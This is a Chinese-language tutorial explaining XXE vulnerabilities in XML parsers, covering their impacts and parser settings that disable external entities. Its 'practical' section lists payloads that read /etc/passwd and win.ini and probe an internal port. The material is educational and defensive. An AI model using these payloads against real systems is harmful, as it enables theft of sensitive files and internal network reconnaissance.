🧐 什么是XXE?
简单来说,XXE漏洞是攻击者利用Web应用程序对XML数据的解析缺陷,通过构造恶意的XML数据,让服务器执行非预期的操作。
这些操作可能包括:
读取服务器上的敏感文件(如配置文件、密码文件)。
探测内网端口和服务。
发起拒绝服务攻击(DoS)。
📚 前置知识:XML与“实体”
要理解XXE,我们需要先了解两个概念:XML和实体。
. XML是什么?
XML(可扩展标记语言)是一种用来存储和传输数据的格式,类似于JSON。比如,一个正常的用户登录请求可能是这样的:
xml编辑
<?xml version="1.0" encoding="UTF-8"?> <user> <username>admin</username> <password>123456</password> </user>
. 什么是“实体”?
在XML的设计规范(DTD)中,允许定义“实体”。你可以把它理解为变量或占位符。
比如,我们可以定义一个内部实体:
xml编辑
<!DOCTYPE note [ <!ENTITY company "MySecureCorp"> ]> <note> <message>Welcome to &company;</message> </note>
当解析器读到 &company; 时,它会自动替换成 MySecureCorp。这本身是个很方便的功能。
💥 漏洞原理:当“实体”指向了外部文件
问题的关键在于,XML不仅允许定义内部实体,还允许定义外部实体。也就是说,这个“变量”的值可以来自一个文件,或者一个网址。
如果服务器端的XML解析器没有禁用外部实体加载功能,攻击者就可以构造如下恶意代码:
xml编辑
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!-- 定义一个外部实体,名字叫 xxe,指向本地文件 --> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <!-- 引用这个实体 --> <username>&xxe;</username> </root>发生了什么?
攻击者发送了这段XML。
服务器解析器读到 <!ENTITY xxe SYSTEM ...>,它很“听话”地去读取了服务器本地的 /etc/passwd 文件。
解析器读到 <username>&xxe;</username>,它把 &xxe; 替换成了刚才读到的文件内容。
最终,服务器把包含敏感文件内容的响应返回给了攻击者。
🎯 XXE能造成什么危害?(重点)
XXE不仅仅是读个文件那么简单,它的危害主要体现在以下几个方面:
读取敏感文件:这是最常见的利用方式。攻击者可以读取 /etc/passwd、C:\Windows\win.ini、数据库配置文件、源代码等。
探测内网(SSRF):攻击者可以将实体指向内网地址(如 http://192.168.1.1:8080),利用服务器作为跳板去扫描内网端口。
拒绝服务攻击:通过构造“实体爆炸”(Billion Laughs Attack),让解析器陷入无限递归,耗尽服务器内存,导致服务瘫痪。
远程代码执行:在某些特定环境下,甚至可以控制服务器。
💻 实战:常见的XXE Payload
如果你在渗透测试中遇到了XML接口,可以尝试以下几种Payload来检测漏洞:
1. 基础文件读取(Linux)
xml编辑
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>2.基础文件读取(Windows)
xml编辑
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]> <foo>&xxe;</foo>3. 探测内网端口(SSRF)
xml编辑
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080">]> <foo>&xxe;</foo>
🛡️ 如何防御?
对于开发者来说,防御XXE其实非常简单,
核心原则就是:不要相信用户的输入,并禁用不需要的功能。
核心防御方案:在代码中配置XML解析器,禁用外部实体加载。
Java (DOM解析器):
java编辑
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
PHP:
php编辑
libxml_disable_entity_loader(true);
Python (lxml):
python编辑
parser = etree.XMLParser(resolve_entities=False)📌 总结
XXE漏洞虽然听起来专业,但本质上是利用了XML解析器的“过度信任”。作为安全从业者,我们在测试时要多留意 Content-Type: application/xml 的请求;作为开发者,务必在初始化解析器时关闭外部实体功能,从根源上堵住漏洞。